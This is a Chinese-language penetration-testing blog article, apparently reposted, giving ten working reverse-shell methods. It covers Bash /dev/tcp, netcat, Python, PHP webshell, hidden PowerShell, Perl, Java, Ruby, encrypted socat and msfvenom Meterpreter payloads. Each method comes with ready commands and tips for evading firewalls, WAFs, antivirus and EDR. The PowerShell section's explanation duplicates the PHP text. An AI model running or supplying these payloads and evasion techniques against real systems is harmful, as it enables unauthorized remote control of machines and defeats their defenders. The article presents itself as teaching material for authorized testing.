文章总结: 本文详细介绍了渗透测试中反弹Shell的10种实现方法,涵盖Bash原生、NetCat、Python、PHP、PowerShell、Perl、Java、Ruby、Socat和MSFvenom等技术方案。文章首先阐述了反弹Shell的基本原理与核心优势,随后针对每种方法提供了详细的命令示例、适用环境分析、避坑提示及优缺点对比。内容强调仅在合法授权环境下使用,具有较强的实战指导价值。 综合评分: 88 文章分类: 渗透测试,实战经验,安全工具,内网渗透,漏洞POC
亲测可用!反弹shell的10种方式
原创
小智 小智
智榜样网络安全学习中心
2026年3月26日 14:00 湖南
❝
【法律与安全声明】
本文仅用于授权的渗透测试、网络安全教学与研究,严禁用于未授权的攻击行为。未授权访问计算机系统属于违法行为,将承担相应的民事、行政甚至刑事责任。请务必遵守《中华人民共和国网络安全法》等相关法律法规,仅在拥有合法书面授权的环境中执行相关操作。
一、反弹 Shell 基础
1、什么是反弹 Shell?
反弹 Shell,即反向 Shell,反弹 shell 的 10 种方法 都学会搞定 90% 的渗透!其原理是:攻击机开启一个用于监听的端口,随后受害机主动向攻击机发起 TCP 或 UDP 连接,将自身命令行的输入,输出及错误流进行重定向,传输至攻击机处,最终使攻击者获取目标交互式命令的执行权限,这是一项相关技术。
相比正向 Shell(攻击机主动连目标),它的核心优势在于:
- 突破内网限制:目标无公网 IP、无法直接正向访问时仍可使用
- 绕过防火墙策略:绝大多数环境对入站流量限制严格,对出站流量放行宽松
- 规避 IP 动态变化:目标 IP 变动不影响反弹连接的建立
- 降低检测概率:相比正向连接,更难被常规边界防护设备检测
2、前置必备
执行所有反弹shell操作前,必须完成 3 项准备:
1、攻击机环境:拥有公网 IP(或与目标同网段),关闭本机防火墙对应端口拦截,云服务器需在安全组放行监听端口
2、提前开启监听:攻击机优先执行监听命令,最常用的 netcat 监听指令:
# 攻击机执行,开启4444端口监听
nc -lvnp 4444
参数说明:
-l
开启监听模式,
-v
输出详细日志,
-n
不进行 DNS 解析,
-p
3、指定监听端口占位符替换:所有命令中的 LHOST 替换为攻击机 IP,LPORT 替换为攻击机监听的端口
二、反弹 Shell 的 10 种方法
1、Bash 原生反弹 Shell
核心原理是借助Linux系统百分百原生自带的bash,通过文件描述符重定向这一操作,将shell的输入与输出绑定到TCP连接,且无需安装任何额外工具,这是渗透测试中优先级最高的方法。
适用环境:几乎所有 Linux、macOS 系统,嵌入式 Linux 设备(路由器、摄像头等)
攻击机操作:提前执行 nc -lvnp 4444 开启监听
目标机执行命令:
# 最经典、兼容性最强的版本,优先使用
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
命令拆解:
bash -i:启动交互式 bash shell>& /dev/tcp/LHOST/LPORT:将标准输出、标准错误重定向到攻击机的 TCP 连接0>&1:将标准输入重定向到标准输出,实现输入输出双向透传
避坑提示:
Ubuntu 等系统默认 shell 为 dash,直接用 sh 执行会失败,必须指定 bash
目标无法解析域名时,LHOST 必须用 IP 地址,不可用域名
优缺点:
✅ 系统原生、无需额外工具、命令极短、兼容性拉满
❌ 明文传输,易被流量检测设备拦截,交互式体验一般
2、NetCat 反弹 Shell
NetCat也就是常说的nc,核心原理是借助在Linux中预装情况极为普遍的网络工具,它存在两种类型,一种是支持-e参数的传统版本,另一种是不支持-e的OpenBSD精简版本,它通过端口重定向来达成Shell反弹的效果,并且是渗透测试里基础且必不可少的方案。
适用环境:预装 nc 的 Linux、Unix、Windows 系统
攻击机操作:提前执行 nc -lvnp 4444 开启监听
2.1 传统 nc,有 – e 参数
目标机命令:
# Linux目标
nc -e /bin/bash LHOST LPORT
# Windows目标
nc -e cmd.exe LHOST LPORT
原理:-e参数直接指定执行程序,将 shell 的输入输出绑定到网络连接
2.2 无 – e 参数版
绝大多数精简版 nc 不支持-e参数,用此方案绕过限制:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f
原理:通过 mkfifo 创建命名管道,实现输入输出的双向传输,无需-e参数
避坑提示:
1、部分系统命令为netcat,可直接替换nc执行
2、确保命名管道文件/tmp/f有读写权限,执行失败可更换文件名
优缺点:
✅ 系统预装率高、命令简单、跨平台支持、无- e版兼容性极强
❌ 明文传输,传统版易被杀毒软件拦截
3、Python 反弹 Shell
核心原理在于,Python作为脚本语言,其在服务器以及开发环境中的预装率处于最高水平,能够覆盖Linux,Windows,macOS的全平台,它借助socket模块构建网络连接,并且对shell的输入输出进行重定向,在Web渗透和内网渗透场景里具有极高的通用性。
适用环境:安装 Python2/Python3 的所有系统(90% 以上 Linux 服务器、Windows 开发机均预装)
攻击机操作:提前执行 nc -lvnp 4444 开启监听
3.1 Python3 通用
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3.2 Python2 老系统专用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3.3 Windows Python 版
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["cmd.exe"]);'
避坑提示:
1、目标系统命令可能为python3/python/py,根据环境替换
2、注意单双引号的转义,避免语法报错
优缺点:
✅ 跨平台兼容性极强、预装率高、免杀难度低、可自定义扩展,Web 文件上传场景直接执行
❌ 部分最小化安装的 Linux 系统未预装 Python
4、PHP 反弹 Shell
核心原理方面,PHP属于Web开发里较为主流的语言,多数网站服务器均配置了PHP环境,它能够借助socket函数搭建网络连接,还可以执行系统shell并对数据流进行重定向,在Web渗透中,作为通过文件上传以及利用RCE漏洞获取Shell的首要方案。
适用环境:部署 PHP 环境的 Web 服务器(Linux/Windows 全支持)
攻击机操作:提前执行 nc -lvnp 4444 开启监听
4.1 RCE 漏洞直接执行,优先使用
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'
4.2 exec 被禁用时,用 system 替换
php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/bash -i <&3 >&3 2>&3");'
4.3 文件上传专用
<?php
$ip = 'LHOST';
$port = LPORT;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/bash -i', $descriptorspec, $pipes);
?>
Windows 环境替换/bin/bash -i为cmd.exe即可
避坑提示:
1、注意 PHP 环境是否禁用了fsockopen/exec/system/proc_open等危险函数,禁用则更换其他函数
2、部分虚拟主机会限制出站 TCP 连接,导致连接失败
优缺点:
✅ Web 渗透场景覆盖率 100%、使用灵活、可直接写入 webshell 执行、兼容性强
❌ 依赖 PHP 环境,危险函数被禁用时无法使用,明文传输易被 WAF 检测
5、PowerShell 反弹 Shell
核心原理方面,PHP属于Web开发里较为主流的语言,多数网站服务器均配置了PHP环境,它能够借助socket函数搭建网络连接,还可以执行系统shell并对数据流进行重定向,在Web渗透中,作为通过文件上传以及利用RCE漏洞获取Shell的首要方案。
适用环境:Windows 7 及以上、Windows Server 2008 及以上全版本 Windows 系统
攻击机操作:提前执行nc -lvnp 4444开启监听
5.1 通用无文件版
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
5.2 精简版
powershell -nop -W hidden -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=([text.encoding]::ASCII).GetBytes((iex $d 2>&1|Out-String));$s.Write($sb,0,$sb.Length);$s.Flush()}"
避坑提示:
1、执行策略限制可添加-ExecutionPolicy Bypass参数绕过,完整前缀:powershell -ExecutionPolicy Bypass -nop -c "xxx"
2、默认命令易被Windows Defender/EDR 拦截,可通过 base64 编码绕过
优缺点:
✅ Windows 原生自带、无文件执行、无需落地、免杀扩展性强、全版本 Windows 兼容
❌ 默认命令易被终端防护软件检测,需做免杀处理,命令较长
6、Perl 反弹 Shell
核心原理在于:Perl作为一款历史悠久的脚本语言,几乎在所有Linux 发行版,Unix 系统,老旧版本服务器以及嵌入式设备中都有预装。它能够借助socket 模块构建连接,并且对shell 数据流进行重定向,当Python 环境无法使用时,它就成为替代的选择。
适用环境:预装 Perl 的 Linux、Unix、macOS 系统,老版本服务器兼容性极强
攻击机操作:提前执行 nc -lvnp 4444 开启监听
目标机执行命令:
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Windows 环境替换/bin/bash -i为cmd.exe即可
避坑提示:
1、老系统默认预装 socket 模块,无需额外安装,极少出现兼容问题
2、IP 地址必须用双引号包裹,端口为数字不可加引号
优缺点:
✅ 老系统预装率极高、兼容性远超 Python、命令稳定、极少报错
❌ 新系统预装率逐渐下降,明文传输易被检测
7、Java 反弹 Shell
Java作为企业级应用中最为盛行的开发语言,像Tomcat,Weblogic,JBoss,SpringBoot这类中间件与框架都处于Java 环境之中,借助Socket 类构建TCP 连接,调用Runtime执行系统 shell并对数据流进行重定向,这是Java 中间件 RCE 漏洞获取 Shell的关键方式。
适用环境:安装 JRE/JDK 的 Linux/Windows 服务器,企业级 Web 应用、中间件场景
攻击机操作:提前执行nc -lvnp 4444开启监听
目标机单行执行命令(RCE 漏洞直接用):
r = Runtime.getRuntime();p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"});p.waitFor();\
完整 Java 类版本(写入文件编译执行):
public class ReverseShell {
public static void main(String[] args) throws Exception {
String host = "LHOST";
int port = LPORT;
java.net.Socket s = new java.net.Socket(host, port);
java.io.InputStream in = s.getInputStream();
java.io.OutputStream out = s.getOutputStream();
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-i"});
java.io.InputStream pin = p.getInputStream();
java.io.OutputStream pout = p.getOutputStream();
java.io.InputStream perr = p.getErrorStream();
while (true) {
while (pin.available() > 0) out.write(pin.read());
while (perr.available() > 0) out.write(perr.read());
while (in.available() > 0) pout.write(in.read());
out.flush();
pout.flush();
Thread.sleep(50);
}
}
}
Windows 环境替换/bin/bash -i为cmd.exe即可
避坑提示:
1、注意 Java 环境权限,部分中间件会限制 Runtime 执行系统命令
2、单行版注意转义符,避免漏洞执行时出现语法错误
优缺点:
✅ 企业级中间件场景覆盖率 100%、兼容性强、可直接在 RCE 漏洞中执行
❌ 依赖 Java 环境,命令较长,部分场景需做免杀处理
8、Ruby 反弹 Shell
核心原理方面:Ruby属于红帽系,CentOS等这类Linux发行版以及macOS系统默认就预装的脚本语言,它借助socket库搭建网络连接,对shell的输入输出进行重定向,在Python,Perl环境无法使用的时候,是可供选择的替代方案。
适用环境:预装Ruby的Linux、macOS系统
攻击机操作:提前执行nc -lvnp 4444开启监听
目标机执行命令:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
避坑提示:
1、红帽系系统默认预装Ruby,Debian/Ubuntu系统需手动安装
2、老版本Ruby语法略有差异,通用版兼容性最强
优缺点:
✅ 红帽系系统预装率高、命令简单、执行稳定、备选方案首选
❌ 部分系统未预装 Ruby,适用场景有限,明文传输
9、Socat 交互式反弹 Shell
Socat有nc 升级版的称谓,它具备全交互式 TTYShell,流量加密,端口转发等功能,能够良好地解决普通反弹 Shell 无法使用vim,su,sudo等交互式命令的问题,在实现内网渗透的时候,是获取稳定权限的工具。
适用环境:安装socat的Linux系统,攻击机也需同步安装socat
攻击机操作:
安装 socat:
apt install socat / yum install socat
开启基础监听:
socat -d -d TCP-LISTEN:4444 STDOUT
目标机执行命令:
socat TCP:LHOST:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
9.1 进阶加密版
攻击机生成证书:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pem
攻击机开启加密监听:
socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 STDOUT
目标机执行加密反弹命令:
socat OPENSSL:LHOST:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
避坑提示:
1、pty参数是实现全交互式的核心,不可删除
2、最小化系统未预装socat时,可静态编译后上传目标机
优缺点:
✅ 全交互式 TTY Shell、支持vim/su/sudo等命令、支持流量加密、连接稳定不易断开
❌ 需安装 socat,默认系统预装率低
10、MSFvenom 一键生成反弹 Shell
核心运作原理:MSFvenom是Metasploit框架内置的Payload 生成工具,能够一键生成适用于全平台与全架构的反弹 ShellPayload,涵盖Windows,Linux,macOS,Android等系统,自身具有免杀,加密,持久化等功能,实为渗透测试中快速获取Shell以及实施提权的重要工具。
适用环境:全平台、全架构系统,支持可执行文件、脚本、Shellcode 等多种格式
攻击机操作(Kali Linux 默认自带 Metasploit):
10.1 Linux x64 反弹 Shell 生成
# 1. 生成elf可执行Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o reverse.elf
# 2. 开启MSF监听
msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"
将生成的reverse.elf上传到目标机,执行chmod +x reverse.elf && ./reverse.elf即可反弹 Shell
10.2 Windows x64 反弹 Shell 生成
# 1. 生成exe可执行Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o reverse.exe
# 2. 开启MSF监听
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST LHOST; set LPORT LPORT; run"
将生成的reverse.exe上传到目标机执行,即可反弹 Shell
10.3 其他常用格式生成
PHP种简短形式的载荷内容为msfvenom -p php/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f raw -o reverse.php
Python所承载的有效负载内容是:msfvenom -p python/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f raw -o reverse.py
以下是一种改写:PowerShell所包含的有效负载呈现出这样的形式:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f psh -o reverse.ps1
避坑提示:
1、生成Payload的架构必须与目标机匹配(x86/x64/arm),否则执行失败
2、监听的Payload必须与生成的Payload完全一致,否则无法接收连接
3、默认生成的exe文件易被杀毒软件拦截,可添加编码器免杀,例如:-e x64/shikata_ga_nai -i 10
优缺点:
✅ 全平台全架构覆盖、一键生成、功能强大、自带 Meterpreter 高级 Shell、支持提权 / 内网渗透 / 持久化
❌ 依赖 Metasploit框架,默认生成文件易被终端防护软件拦截,需免杀处理
三、反弹Shell进阶优化技巧
1、升级全交互式 TTY Shell
普通反弹 Shell 无法使用 vim、su、sudo、方向键回退等功能,执行以下步骤升级为本地终端级别的交互式 Shell:
# 第一步:在反弹的Shell中执行,获取pty
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 第二步:按 Ctrl+Z 把Shell挂到后台
# 第三步:在攻击机执行,设置终端模式
stty raw -echo
# 第四步:在攻击机执行,把Shell拉回前台
fg
# 第五步:在反弹的Shell中设置终端环境变量
export TERM=xterm
2、绕过防火墙与出站限制
- 端口选择:优先使用 80、443、53、8080 等常用端口,这类端口的出站流量大多被防火墙放行,避免使用冷门端口
- 协议绕过:TCP 连接被拦截时,可使用 UDP 反弹 Shell(nc 添加-u参数开启 UDP 监听)
- 域名绕过:IP 被拦截时,可将攻击机 IP 绑定域名,用域名替换 LHOST
3、免杀与规避检测
- 流量加密:使用
socat openssl、openssl反弹 Shell,避免明文传输被流量检测设备拦截 - 命令编码:将反弹 Shell 命令进行 base64 编码,绕过 WAF、EDR 的特征检测
- 无文件执行:优先使用
PowerShell、Python、Perl等脚本语言的单行命令,无需落地文件,降低被检测概率 - 命令分割:将长命令拆分成多个短命令执行,绕过命令长度限制和特征检测
四、总结
本文讲解的 10 种反弹 Shell 途径,涵盖Linux与Windows所有平台,契合Web 渗透,内网渗透,中间件渗透以及老系统兼容等超 90% 的渗透测试情况。
核心实战的关键原则为,首要选择目标系统自身所具备的原生工具,因其无需额外安装且成功概率最高,鉴于不同环境需采用不同办法,切勿死钻一种方案,而是通过多端口,多协议,多种方法交替测试,如此绝大多数情形下都能够成功获取到Shell。
五、🎁 互动与福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff
分享后扫码加我!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智榜样网络安全学习中心 小智 小智《亲测可用!反弹shell的10种方式》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论